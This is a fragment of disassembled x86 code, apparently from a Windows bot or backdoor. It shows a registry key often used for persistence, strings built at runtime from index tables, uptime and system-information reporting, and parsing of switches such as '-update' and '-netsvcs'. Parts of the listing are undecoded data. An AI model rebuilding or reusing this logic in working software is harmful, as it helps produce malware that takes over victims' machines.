		lea	ecx, [esp+178h+var_164]
		mov	byte ptr [esp+178h+var_4], 1Dh
		call	sub_401226
		mov	edi, offset aN	; "N"
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		lea	edx, [esp+178h+var_8C]
		repne scasb
		not	ecx
		sub	edi, ecx
		mov	[esp+178h+var_168], 0
		mov	eax, ecx
		mov	esi, edi
		mov	edi, edx
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		and	ecx, 3
		rep movsb
		lea	edi, [esp+178h+var_8C]
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		repne scasb
		not	ecx
		dec	ecx
		mov	esi, dword_511764
		mov	edi, ecx
		lea	ecx, [esp+178h+var_168]
		push	ecx
		push	20019h
		push	eax
		push	offset aSoftwareMicros ; "Software\\Microsoft\\OLE"
		push	80000002h
		call	esi
		push	0
		push	27h
		push	29h
		push	1Dh
		push	1Eh
		push	5
		push	0Ch
		push	2
		push	1
		push	0Eh
		lea	edx, [esp+1B4h+var_178]
		push	1Fh
		push	edx
		call	sub_4019C4
		add	esp, 30h
		lea	ecx, [esp+18Ch+var_A0]
		push	edi
		push	ecx
		push	1
		push	0
		mov	ecx, eax
		mov	[esp+19Ch+var_18], 1Fh
		call	sub_4017EE
		mov	edx, [esp+19Ch+var_17C]
		push	eax
		push	edx
		nop
		call	near ptr 2960000h
		lea	ecx, [esp+1A4h+var_190]
		mov	[esp+1A4h+var_30], 1Dh
		call	sub_401226
		mov	eax, [esp+1A4h+var_194]
		mov	edi, dword_511740
		push	eax
		call	edi
		lea	ecx, [esp+1A8h+var_198]
		push	ecx
		push	0F003Fh
		push	0
		lea	ecx, [esp+1B4h+var_130]
		call	sub_4017EE
		push	eax
		push	80000002h
		call	esi
		push	0
		push	5
		push	18h
		push	5
		push	4Eh
		push	5
		push	14h
		push	1
		push	13h
		lea	edx, [esp+1E0h+var_1A8]
		push	2Dh
		push	edx
		call	sub_4019C4
		add	esp, 2Ch
		mov	ecx, eax
		mov	[esp+1BCh+var_48], 20h
		call	sub_4017EE
		mov	ebp, dword_51176C
		push	eax
		mov	eax, [esp+1C0h+var_1AC]
		push	eax
		call	ebp
		lea	ecx, [esp+1C4h+var_1B0]
		mov	[esp+1C4h+var_50], 1Dh
		call	sub_401226
		mov	ecx, [esp+1C4h+var_1B4]
		push	ecx
		call	edi
		push	0
		push	5
		push	18h
		push	5
		push	4Eh
		push	48h
		push	0Eh
		push	15h
		push	12h
		lea	edx, [esp+1ECh+var_1B4]
		push	9
		push	edx
		call	sub_4019C4
		add	esp, 2Ch
		mov	ecx, eax
		mov	[esp+1C8h+var_54], 21h
		call	sub_4017EE
		push	eax
		call	sub_401604
sub_404CC0	endp

; ---------------------------------------------------------------------------
		db 83h
		dd 4C8D04C4h, 84C61424h, 17424h, 0BFE81D00h, 8DFFFFB6h
		dd 0E844244Ch, 0FFFFB8BEh, 46822B3h, 68000001h,	104h, 4C244C8Dh
		dd 7C249C88h, 0E8000001h, 0FFFFC0E5h, 0A46EE850h, 6A900240h
		dd 6A056A00h, 6A056A18h, 6A486A4Eh, 6A156A0Eh, 24448D12h
		dd 50096A38h, 0FFBE13E8h, 2CC483FFh, 84C6C88Bh,	17424h
		dd 2BE82300h, 50FFFFBCh, 48244C8Dh, 0FFBC21E8h,	4C8D50FFh
		dd 84684C24h, 51004446h, 0FFB450E8h, 10C483FFh,	14244C8Dh
		dd 74249C88h, 0E8000001h, 0FFFFB636h, 44244C8Dh, 0FFBA92E8h
		dd 0E89050FFh, 23FB066h, 1024548Dh, 78244C8Dh, 3F6852h
		dd 6A000Fh, 0FFBBD9E8h,	26850FFh, 0FF800000h, 6A006AD6h
		dd 6A186A05h, 6A4E6A05h, 6A146A05h, 24448D01h, 50126A34h
		dd 0FFBD8BE8h, 28C483FFh, 84C6C88Bh, 17424h, 0A3E82400h
		dd 8BFFFFBBh, 5010244Ch, 8DD5FF51h, 8814244Ch, 174249Ch
		dd 0C3E80000h, 8BFFFFB5h, 52102454h, 6AD7FFh, 186A056Ah
		dd 4E6A056Ah, 0E6A486Ah, 496A486Ah, 456A126Ah, 448D456Ah
		dd 96A4424h, 0BD36E850h, 0C483FFFFh, 0C6C88B38h, 1742484h
		dd 0E8250000h, 0FFFFBB4Eh, 0B95EE850h, 0C483FFFFh, 244C8D04h
		dd 249C8814h, 174h, 0FFB56DE8h,	10468FFh, 4680000h, 8D000001h
		dd 0E84C244Ch, 0FFFFBFA5h, 0A32EE850h, 6A900240h, 6A056A00h
		dd 6A056A18h, 6A486A4Eh, 6A486A0Eh, 6A126A49h, 8D456A45h
		dd 6A44244Ch, 0CDE85109h, 83FFFFBCh, 0C88B38C4h, 742484C6h
		dd 26000001h, 0FFBAE5E8h, 4C8D50FFh, 0DBE84824h, 50FFFFBAh
		dd 4C24548Dh, 44468468h, 0AE85200h, 83FFFFB3h, 4C8D10C4h
		dd 9C881424h, 17424h, 0B4F0E800h, 4C8DFFFFh, 4CE84424h
		dd 50FFFFB9h, 3FAF21E8h, 448D9002h, 4C8D1024h, 68507824h
		dd 0F003Fh, 93E8006Ah, 50FFFFBAh, 268h,	6AD6FF80h, 6A056A00h
		dd 6A056A18h, 6A056A4Eh, 6A016A14h, 244C8D13h, 51136A38h
		dd 0FFBC43E8h, 2CC483FFh, 84C6C88Bh, 17424h, 5BE82700h
		dd 8BFFFFBAh, 50102454h, 8DD5FF52h, 8814244Ch, 174249Ch
		dd 7BE80000h, 8BFFFFB4h, 50102444h, 6AD7FFh, 186A056Ah
		dd 4E6A056Ah, 196A136Ah, 0E6A136Ah, 4C8D096Ah, 176A3C24h
		dd 0BBF2E851h, 0C483FFFFh, 0C6C88B30h, 1742484h, 0E8280000h
		dd 0FFFFBA0Ah, 0B81AE850h, 0C483FFFFh, 244C8D04h, 249C8814h
		dd 174h, 0FFB429E8h, 10468FFh, 4680000h, 8D000001h, 0E84C244Ch
		dd 0FFFFBE61h, 0A1EAE850h, 6A900240h, 6A056A00h, 6A056A18h
		dd 6A136A4Eh, 6A136A19h, 8D096A0Eh, 6A3C2454h, 8DE85217h
		dd 83FFFFBBh, 0C88B30C4h, 742484C6h, 29000001h,	0FFB9A5E8h
		dd 4C8D50FFh, 9BE84824h, 50FFFFB9h, 4C24448Dh, 44468468h
		dd 0CAE85000h, 83FFFFB1h, 4C8D10C4h, 9C881424h,	17424h
		dd 0B3B0E800h, 4C8DFFFFh, 0CE84424h, 50FFFFB8h,	3FADE1E8h
		dd 4C8D9002h, 68511024h, 0F003Fh, 8C8D006Ah, 8424h, 0B950E800h
		dd 6850FFFFh, 80000002h, 6AD6FFh, 186A056Ah, 4E6A056Ah
		dd 146A056Ah, 46A016Ah,	156A106Ah, 476A046Ah, 4824548Dh
		dd 0E852046Ah, 0FFFFBAF8h, 8B3CC483h, 2484C6C8h, 174h
		dd 0B910E82Ah, 8B50FFFFh, 50142444h, 4C8DD5FFh,	9C881424h
		dd 17424h, 0B330E800h, 4C8BFFFFh, 0FF511024h, 6A006AD7h
		dd 6A186A05h, 6A4E6A05h, 6A0C6A05h, 6A016A07h, 8D026A05h
		dd 6A402454h, 0A5E85202h, 83FFFFBAh, 0C88B34C4h, 742484C6h
		dd 2B000001h, 0FFB8BDE8h, 0CDE850FFh, 83FFFFB6h, 4C8D04C4h
		dd 9C881424h, 17424h, 0B2DCE800h, 468FFFFh, 68000001h
		dd 104h, 4C244C8Dh, 0FFBD14E8h,	9DE850FFh, 900240A0h, 56A006Ah
		dd 56A186Ah, 56A4E6Ah, 76A0C6Ah, 56A016Ah, 448D026Ah, 26A4024h
		dd 0BA3EE850h, 0C483FFFFh, 0C6C88B34h, 1742484h, 0E82C0000h
		dd 0FFFFB856h, 244C8D50h, 0B84CE848h, 8D50FFFFh, 684C244Ch
		dd 444684h, 0B07BE851h,	0C483FFFFh, 244C8D10h, 249C8814h
		dd 174h, 0FFB261E8h, 244C8DFFh,	0B6BDE844h, 0E850FFFFh
		dd 23FAC92h, 24548D90h,	244C8D10h, 3F685278h, 6A000F00h
		dd 0B804E800h, 6850FFFFh, 80000002h, 6AD6FFh, 0F6A0E6Ah
		dd 0B6A276Ah, 16A136Ah,	3024448Dh, 0E8502E6Ah, 0FFFFB9B8h
		dd 8B24C483h, 2484C6C8h, 174h, 0B7D0E82Dh, 4C8BFFFFh, 51501024h
		dd 4C8DD5FFh, 9C881424h, 17424h, 0B1F0E800h, 548BFFFFh
		dd 0FF521024h, 6A006AD7h, 6A186A05h, 6A4E6A05h,	6A0F6A0Eh
		dd 6A0B6A0Dh, 8D016A13h, 6A402444h, 65E85014h, 83FFFFB9h
		dd 0C88B34C4h, 742484C6h, 2E000001h, 0FFB77DE8h, 8DE850FFh
		dd 83FFFFB5h, 4C8D04C4h, 9C881424h, 17424h, 0B19CE800h
		dd 468FFFFh, 68000001h,	104h, 4C244C8Dh, 0FFBBD4E8h, 5DE850FFh
		dd 9002409Fh, 56A006Ah,	56A186Ah, 0E6A4E6Ah, 0D6A0F6Ah
		dd 136A0B6Ah, 4C8D016Ah, 146A4024h, 0B8FEE851h,	0C483FFFFh
		dd 0C6C88B34h, 1742484h, 0E82F0000h, 0FFFFB716h, 244C8D50h
		dd 0B70CE848h, 6850FFFFh, 444684h, 5024548Dh, 0AF3BE852h
		dd 0C483FFFFh, 244C8D10h, 249C8814h, 174h, 0FFB121E8h
		dd 244C8DFFh, 0B57DE844h, 0E850FFFFh, 23FAB52h,	24448D90h
		dd 244C8D10h, 3F685078h, 6A000F00h, 0B6C4E800h,	6850FFFFh
		dd 80000002h, 6AD6FFh, 56A126Ah, 0F6A126Ah, 106A0C6Ah
		dd 8C8D186Ah, 0B024h, 511F6A00h, 0FFB873E8h, 28C483FFh
		dd 84C6C88Bh, 17424h, 8BE83000h, 8BFFFFB6h, 50102454h
		dd 8DD5FF52h, 90248Ch, 9C880000h, 17424h, 0B0A8E800h, 448BFFFFh
		dd 0FF501024h, 10358BD7h, 6800511Bh, 444668h, 4C68D6FFh
		dd 0FF004446h, 462C68D6h, 0D6FF0044h, 44460868h, 83D6FF00h
		dd 4C8D10C4h, 84C64424h, 17424h, 6BE81D00h, 8DFFFFB0h
		dd 0C778244Ch, 1742484h, 0FFFF0000h, 57E8FFFFh,	0B0FFFFB0h
		dd 0F4E9E901h, 9090FFFFh, 2 dup(90909090h), 154h dup(0CCCCCCCCh)

; =============== S U B	R O U T	I N E =======================================



sub_406730	proc near		; CODE XREF: sub_40195Bj

var_28		= dword	ptr -28h
var_24		= byte ptr -24h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	0FFFFFFFFh
		push	offset SEH_406730
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 1Ch
		push	ebx
		push	ebp
		push	esi
		xor	ebx, ebx
		push	edi
		lea	ecx, [esp+38h+var_24]
		mov	[esp+38h+var_28], ebx
		call	sub_40142E
		mov	esi, [esp+38h+arg_4]
		mov	ebp, 1
		cmp	esi, ebx
		mov	[esp+38h+var_4], ebp
		jnz	short loc_406781
		mov	esi, [esp+38h+arg_0]
		push	ebx
		mov	ecx, esi
		call	sub_402112
		mov	[esp+38h+var_28], ebp
		jmp	loc_406827
; ---------------------------------------------------------------------------


loc_406781:				; CODE XREF: sub_406730+3Aj
		nop
		call	near ptr 2800BE7h
		mov	ecx, eax
		mov	eax, 10624DD3h
		mul	ecx
		mov	ecx, edx
		mov	eax, 0C22E4507h
		shr	ecx, 6
		imul	ecx
		add	edx, ecx
		sar	edx, 10h
		mov	eax, edx
		shr	eax, 1Fh
		add	edx, eax
		mov	edi, edx
		cmp	edi, esi
		jl	short loc_406813
		mov	eax, ecx
		mov	ecx, 15180h
		cdq
		idiv	ecx
		mov	esi, 0E10h
		mov	ecx, edx
		mov	eax, ecx
		cdq
		idiv	esi
		mov	eax, 88888889h
		mov	esi, edx
		imul	esi
		add	edx, esi
		sar	edx, 5
		mov	eax, edx
		shr	eax, 1Fh
		add	edx, eax
		mov	eax, 91A2B3C5h
		push	edx
		imul	ecx
		add	edx, ecx
		sar	edx, 0Bh
		mov	ecx, edx
		shr	ecx, 1Fh
		add	edx, ecx
		push	edx
		push	edi
		lea	edx, [esp+44h+var_24]
		push	offset aUpDdDhDm ; "up:	%dd %dh	%dm"
		push	edx
		call	sub_40102D
		mov	esi, [esp+4Ch+arg_0]
		add	esp, 14h
		lea	eax, [esp+38h+var_24]
		mov	ecx, esi
		push	eax
		call	sub_4014D3
		jmp	short loc_406823
; ---------------------------------------------------------------------------


loc_406813:				; CODE XREF: sub_406730+7Cj
		mov	esi, [esp+38h+arg_0]
		push	offset byte_448F30
		mov	ecx, esi
		call	sub_401870


loc_406823:				; CODE XREF: sub_406730+E1j
		mov	[esp+38h+var_28], ebp


loc_406827:				; CODE XREF: sub_406730+4Cj
		lea	ecx, [esp+38h+var_24]
		mov	byte ptr [esp+38h+var_4], bl
		call	sub_401226
		mov	ecx, [esp+38h+var_C]
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 28h
		retn	8
sub_406730	endp

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 50h dup(0CCh)
; ---------------------------------------------------------------------------


loc_4068A0:				; CODE XREF: ___:00401672j
		push	ecx
		push	esi
		mov	esi, [esp+0Ch]
		push	offset byte_448F30
		mov	ecx, esi
		mov	dword ptr [esp+8], 0
		call	sub_401870
		mov	eax, esi
		pop	esi
		pop	ecx
		retn	4
; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4068E0	proc near		; CODE XREF: sub_401F5Aj

var_198		= dword	ptr -198h
var_194		= dword	ptr -194h
var_190		= dword	ptr -190h
var_18C		= byte ptr -18Ch
var_174		= byte ptr -174h
var_164		= byte ptr -164h
var_14C		= byte ptr -14Ch
var_144		= dword	ptr -144h
var_140		= dword	ptr -140h
var_12C		= dword	ptr -12Ch
var_128		= dword	ptr -128h
var_124		= dword	ptr -124h
var_120		= dword	ptr -120h
var_11C		= dword	ptr -11Ch
var_118		= byte ptr -118h
var_98		= byte ptr -98h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  4

		push	0FFFFFFFFh
		push	offset SEH_4068E0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 18Ch
		push	ebp
		push	esi
		push	edi
		lea	ecx, [esp+1A4h+var_18C]
		mov	[esp+1A4h+var_198], 0
		call	sub_40142E
		mov	[esp+1A4h+var_4], 1
		nop
		call	near ptr 2800BE7h
		mov	ecx, eax
		mov	eax, 10624DD3h
		mul	ecx
		mov	esi, edx
		lea	edx, [esp+1A4h+var_14C]
		push	edx
		mov	[esp+1A8h+var_190], 10h
		shr	esi, 6
		mov	[esp+1A8h+var_194], 15h
		nop
		call	near ptr 2840000h
		lea	eax, [esp+1A4h+var_12C]
		mov	[esp+1A4h+var_12C], 94h
		push	eax
		nop
		call	near ptr 2830000h
		mov	eax, [esp+1A4h+var_128]
		cmp	eax, 4
		jnz	short loc_4069AE
		mov	eax, [esp+1A4h+var_124]
		test	eax, eax
		jnz	short loc_406996
		mov	eax, [esp+1A4h+var_11C]
		cmp	eax, 1
		jnz	short loc_406986
		mov	ebp, offset a95	; "95"
		jmp	loc_406A21
; ---------------------------------------------------------------------------


loc_406986:				; CODE XREF: sub_4068E0+9Aj
		cmp	eax, 2
		jnz	loc_406A1D
		mov	ebp, offset aNt	; "NT"
		jmp	short loc_4069EA
; ---------------------------------------------------------------------------


loc_406996:				; CODE XREF: sub_4068E0+8Ej
		cmp	eax, 0Ah
		jnz	short loc_4069A2
		mov	ebp, offset a98	; "98"
		jmp	short loc_4069E0
; ---------------------------------------------------------------------------


loc_4069A2:				; CODE XREF: sub_4068E0+B9j
		cmp	eax, 5Ah
		jnz	short loc_4069DB
		mov	ebp, offset aMe	; "ME"
		jmp	short loc_4069E0
; ---------------------------------------------------------------------------


loc_4069AE:				; CODE XREF: sub_4068E0+83j
		cmp	eax, 5
		jnz	short loc_4069DB
		mov	eax, [esp+1A4h+var_124]
		test	eax, eax
		jnz	short loc_4069C5
		mov	ebp, offset a2000 ; "2000"
		jmp	short loc_4069E0
; ---------------------------------------------------------------------------


loc_4069C5:				; CODE XREF: sub_4068E0+DCj
		cmp	eax, 1
		jnz	short loc_4069D1
		mov	ebp, offset aXp	; "XP"
		jmp	short loc_4069E0
; ---------------------------------------------------------------------------


loc_4069D1:				; CODE XREF: sub_4068E0+E8j
		cmp	eax, 2
		mov	ebp, offset a2003 ; "2003"
		jz	short loc_4069E0


loc_4069DB:				; CODE XREF: sub_4068E0+C5j
					; sub_4068E0+D1j
		mov	ebp, offset a??? ; "???"


loc_4069E0:				; CODE XREF: sub_4068E0+C0j
					; sub_4068E0+CCj ...
		cmp	[esp+1A4h+var_11C], 2
		jnz	short loc_406A21


loc_4069EA:				; CODE XREF: sub_4068E0+B4j
		mov	al, [esp+1A4h+var_118]
		test	al, al
		jz	short loc_406A21
		lea	ecx, [esp+1A4h+var_118]
		lea	edx, [esp+1A4h+var_98]
		push	ecx
		push	ebp
		push	offset aSS_2	; "%s [%s]"
		push	edx
		nop
		call	sub_5FADE9
		add	esp, 10h
		lea	ebp, [esp+1A4h+var_98]
		jmp	short loc_406A21
; ---------------------------------------------------------------------------


loc_406A1D:				; CODE XREF: sub_4068E0+A9j
		mov	ebp, [esp+1A4h+var_198]


loc_406A21:				; CODE XREF: sub_4068E0+A1j
					; sub_4068E0+108j ...
		lea	eax, [esp+1A4h+var_190]
		lea	ecx, [esp+1A4h+var_174]
		push	eax
		push	ecx
		nop
		call	near ptr 282110Eh
		lea	edx, [esp+1A4h+var_194]
		lea	eax, [esp+1A4h+var_164]
		push	edx
		push	eax
		call	near ptr 2940DFCh
		nop
		mov	eax, esi
		mov	ecx, 15180h
		cdq
		idiv	ecx
		lea	eax, [esp+1A4h+var_174]
		mov	edi, 0E10h
		mov	ecx, edx
		lea	edx, [esp+1A4h+var_164]
		push	edx
		push	eax
		mov	eax, ecx
		cdq
		idiv	edi
		mov	eax, 88888889h
		mov	edi, edx
		imul	edi
		add	edx, edi
		sar	edx, 5
		mov	eax, edx
		shr	eax, 1Fh
		add	edx, eax
		mov	eax, 91A2B3C5h
		push	edx
		imul	ecx
		add	edx, ecx
		mov	eax, 0C22E4507h
		sar	edx, 0Bh
		mov	ecx, edx
		shr	ecx, 1Fh
		add	edx, ecx
		mov	ecx, [esp+1B0h+var_120]
		push	edx
		imul	esi
		add	edx, esi
		sar	edx, 10h
		mov	eax, edx
		shr	eax, 1Fh
		add	edx, eax
		mov	eax, [esp+1B4h+var_128]
		push	edx
		mov	edx, [esp+1B8h+var_124]
		push	ecx
		mov	ecx, [esp+1BCh+var_144]
		push	edx
		push	eax
		mov	eax, 804021h
		push	ebp
		mul	ecx
		sub	ecx, edx
		mov	eax, 804021h
		shr	ecx, 1
		add	ecx, edx
		shr	ecx, 13h
		push	ecx
		mov	ecx, [esp+1CCh+var_140]
		mul	ecx
		sub	ecx, edx
		shr	ecx, 1
		add	ecx, edx
		shr	ecx, 13h
		push	ecx
		call	sub_4017FD
		push	eax
		lea	ecx, [esp+1D4h+var_18C]
		push	offset aCpuDmhz_Memory ; "CPU: %dMHz. Memory: %dMB/%dMB. OS: Win "...
		push	ecx
		call	sub_40102D
		mov	esi, [esp+1DCh+arg_0]
		add	esp, 38h
		lea	edx, [esp+1A4h+var_18C]
		push	edx
		mov	ecx, esi
		call	sub_4014D3
		mov	[esp+1A4h+var_198], 1
		lea	ecx, [esp+1A4h+var_18C]
		mov	byte ptr [esp+1A4h+var_4], 0
		call	sub_401226
		mov	ecx, [esp+1A4h+var_C]
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebp
		mov	large fs:0, ecx
		add	esp, 198h
		retn	4
sub_4068E0	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 0A0h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_406BF0	proc near		; CODE XREF: sub_4015E6j
		mov	eax, ecx
		mov	dword ptr [eax], offset	off_43F008
		mov	dword ptr [eax+110h], 0
		retn
sub_406BF0	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_406C20:				; CODE XREF: ___:00401FAAj
		push	esi
		mov	esi, ecx
		call	sub_401447
		test	byte ptr [esp+8], 1
		jz	short loc_406C38
		push	esi
		call	sub_437AD2
; ---------------------------------------------------------------------------
		add	esp, 4


loc_406C38:				; CODE XREF: ___:00406C2Dj
		mov	eax, esi
		pop	esi
		retn	4
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_406C50	proc near		; CODE XREF: sub_401447j
		mov	dword ptr [ecx], offset	off_43F008
		mov	ecx, [ecx+110h]
		test	ecx, ecx
		jz	short locret_406C67
		push	ecx
		call	sub_437AD2
; ---------------------------------------------------------------------------
		pop	ecx

locret_406C67:				; CODE XREF: sub_406C50+Ej
		retn
sub_406C50	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_406C80	proc near		; CODE XREF: sub_401384j

arg_0		= dword	ptr  4

		mov	eax, large fs:0
		push	0FFFFFFFFh
		push	offset SEH_406C80
		push	eax
		mov	large fs:0, esp
		sub	esp, 448h
		push	ebx
		mov	ebx, ecx
		mov	eax, [ebx+110h]
		test	eax, eax
		jz	short loc_406CB1
		push	eax
		call	sub_437AD2
; ---------------------------------------------------------------------------
		add	esp, 4


loc_406CB1:				; CODE XREF: sub_406C80+26j
		push	ebp
		push	esi
		mov	esi, [esp+460h+arg_0]
		push	edi
		mov	edi, esi
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		repne scasb
		not	ecx
		push	ecx
		call	sub_437AEA
sub_406C80	endp

; ---------------------------------------------------------------------------
		mov	edx, eax
		mov	edi, esi
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		mov	[ebx+110h], edx
		repne scasb
		not	ecx
		sub	edi, ecx
		mov	eax, ecx
		mov	esi, edi
		mov	edi, edx
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		xor	eax, eax
		and	ecx, 3
		rep movsb
		mov	edi, [ebx+110h]
		or	ecx, 0FFFFFFFFh
		mov	byte ptr [ebx+4], 0
		mov	dword ptr [ebx+5], 0
		mov	byte ptr [ebx+9], 0
		mov	byte ptr [ebx+0Ah], 0
		mov	byte ptr [ebx+0Bh], 0
		repne scasb
		not	ecx
		push	ecx
		call	sub_437AEA
; ---------------------------------------------------------------------------
		mov	edi, [ebx+110h]
		mov	edx, eax
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		repne scasb
		not	ecx
		sub	edi, ecx
		mov	ebp, dword_511B00
		mov	eax, ecx
		mov	esi, edi
		mov	edi, edx
		push	offset asc_444600 ; " "
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		push	edx
		and	ecx, 3
		rep movsb
		call	ebp	; strtok
		add	esp, 10h
		mov	[esp+58h], eax
		lea	esi, [esp+5Ch]
		mov	edi, 0FFh


loc_406D62:				; CODE XREF: ___:00406D74j
		push	offset asc_444600 ; " "
		push	0
		call	ebp	; strtok
		mov	[esi], eax
		add	esp, 8
		add	esi, 4
		dec	edi
		jnz	short loc_406D62
		mov	eax, [esp+58h]
		xor	ecx, ecx
		cmp	eax, ecx
		jz	loc_406F68
		lea	ebp, [esp+58h]


loc_406D88:				; CODE XREF: ___:00406F60j
		mov	edi, [ebp+0]
		mov	esi, offset dword_4447EC
		mov	eax, edi


loc_406D92:				; CODE XREF: ___:00406DB0j
		mov	dl, [eax]
		mov	cl, dl
		cmp	dl, [esi]
		jnz	short loc_406DB6
		test	cl, cl
		jz	short loc_406DB2
		mov	dl, [eax+1]
		mov	cl, dl
		cmp	dl, [esi+1]
		jnz	short loc_406DB6
		add	eax, 2
		add	esi, 2
		test	cl, cl
		jnz	short loc_406D92


loc_406DB2:				; CODE XREF: ___:00406D9Cj
		xor	eax, eax
		jmp	short loc_406DBB
; ---------------------------------------------------------------------------


loc_406DB6:				; CODE XREF: ___:00406D98j
					; ___:00406DA6j
		sbb	eax, eax
		sbb	eax, 0FFFFFFFFh


loc_406DBB:				; CODE XREF: ___:00406DB4j
		test	eax, eax
		jz	loc_406F58
		mov	esi, offset aUpdate ; "-update"
		mov	eax, edi


loc_406DCA:				; CODE XREF: ___:00406DE8j
		mov	dl, [eax]
		mov	cl, dl
		cmp	dl, [esi]
		jnz	short loc_406DEE
		test	cl, cl
		jz	short loc_406DEA
		mov	dl, [eax+1]
		mov	cl, dl
		cmp	dl, [esi+1]
		jnz	short loc_406DEE
		add	eax, 2
		add	esi, 2
		test	cl, cl
		jnz	short loc_406DCA


loc_406DEA:				; CODE XREF: ___:00406DD4j
		xor	eax, eax
		jmp	short loc_406DF3
; ---------------------------------------------------------------------------


loc_406DEE:				; CODE XREF: ___:00406DD0j
					; ___:00406DDEj
		sbb	eax, eax
		sbb	eax, 0FFFFFFFFh


loc_406DF3:				; CODE XREF: ___:00406DECj
		test	eax, eax
		jnz	short loc_406E00
		mov	byte ptr [ebx+9], 1
		jmp	loc_406F58
; ---------------------------------------------------------------------------


loc_406E00:				; CODE XREF: ___:00406DF5j
		mov	esi, offset aNetsvcs ; "-netsvcs"
		mov	eax, edi


loc_406E07:				; CODE XREF: ___:00406E25j
		mov	dl, [eax]
		mov	cl, dl
		cmp	dl, [esi]
		jnz	short loc_406E2B
		test	cl, cl
		jz	short loc_406E27
		mov	dl, [eax+1]
		mov	cl, dl
		cmp	dl, [esi+1]
		jnz	short loc_406E2B
		add	eax, 2
		add	esi, 2
		test	cl, cl
		jnz	short loc_406E07


loc_406E27:				; CODE XREF: ___:00406E11j
		xor	eax, eax
		jmp	short loc_406E30
; ---------------------------------------------------------------------------


loc_406E2B:				; CODE XREF: ___:00406E0Dj
					; ___:00406E1Bj
		sbb	eax, eax
		sbb	eax, 0FFFFFFFFh


loc_406E30:				; CODE XREF: ___:00406E29j
		test	eax, eax
		jnz	short loc_406E3D
		mov	byte ptr [ebx+0Ah], 1
		jmp	loc_406F58
; ---------------------------------------------------------------------------


loc_406E3D:				; CODE XREF: ___:00406E32j
		mov	esi, offset aBai ; "-bai"
		mov	eax, edi


loc_406E44:				; CODE XREF: ___:00406E62j
		mov	dl, [eax]
		mov	cl, dl
		cmp	dl, [esi]
		jnz	short loc_406E68
		test	cl, cl
		jz	short loc_406E64
		mov	dl, [eax+1]
		mov	cl, dl
		cmp	dl, [esi+1]
		jnz	short loc_406E68
		add	eax, 2
		add	esi, 2
		test	cl, cl
		jnz	short loc_406E44


loc_406E64:				; CODE XREF: ___:00406E4Ej
		xor	eax, eax
		jmp	short loc_406E6D
; ---------------------------------------------------------------------------


loc_406E68:				; CODE XREF: ___:00406E4Aj
					; ___:00406E58j
		sbb	eax, eax
		sbb	eax, 0FFFFFFFFh


loc_406E6D:				; CODE XREF: ___:00406E66j
		test	eax, eax
		jnz	loc_406F58
		lea	ecx, [esp+10h]
		call	sub_40142E
		mov	eax, [esp+468h]
		push	offset aBai	; "-bai"
		push	eax
		mov	dword ptr [esp+468h], 0
		nop
		call	near ptr 77C47C60h
		add	esp, 8
		test	eax, eax
		jz	loc_406F44
		push	eax
		lea	ecx, [esp+14h]
		call	sub_4015E1
		push	1
		push	offset asc_444600 ; " "
		lea	ecx, [esp+30h]
		push	1
		push	ecx
		lea	ecx, [esp+20h]
		call	sub_4011EA
		push	offset byte_448F30
		mov	ecx, eax
		mov	byte ptr [esp+464h], 1
		call	sub_4012EE
		lea	ecx, [esp+28h]
		mov	esi, eax
		mov	byte ptr [esp+460h], 0
		call	sub_401226
		test	esi, esi
		jz	short loc_406F44
		push	1
		push	offset asc_444600 ; " "
		lea	edx, [esp+48h]
		push	1
		push	edx
		lea	ecx, [esp+20h]
		mov	byte ptr [ebx+0Bh], 1
		call	sub_4011EA
		push	104h
		mov	ecx, eax
		mov	byte ptr [esp+464h], 2
		call	sub_40168B
		push	eax
		lea	eax, [ebx+0Ch]
		push	eax
		nop
		call	near ptr 77C47A90h
		add	esp, 0Ch
		lea	ecx, [esp+40h]
		mov	byte ptr [esp+460h], 0
		call	sub_401226
		add	ebp, 4


loc_406F44:				; CODE XREF: ___:00406EA1j
					; ___:00406EF1j
		lea	ecx, [esp+10h]
		mov	dword ptr [esp+460h], 0FFFFFFFFh
		call	sub_401226


loc_406F58:				; CODE XREF: ___:00406DBDj
					; ___:00406DFBj ...
		mov	eax, [ebp+4]
		add	ebp, 4
		test	eax, eax
		jnz	loc_406D88
		xor	ecx, ecx


loc_406F68:				; CODE XREF: ___:00406D7Ej
		mov	al, [ebx+4]
		pop	edi
		pop	esi
		pop	ebp
		test	al, al
		jnz	short loc_406F75
		mov	[ebx+5], ecx


loc_406F75:				; CODE XREF: ___:00406F70j
		cmp	[ebx+5], ecx
		jnz	short loc_406F85
		test	al, al
		jz	short loc_406F85
		mov	dword ptr [ebx+5], 0Ah


loc_406F85:				; CODE XREF: ___:00406F78j
					; ___:00406F7Cj
		mov	[ebx+5], ecx
		mov	ecx, [esp+44Ch]
		mov	byte ptr [ebx+4], 0
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 454h
		retn	4
; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
byte_406FB0	db 0D0h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


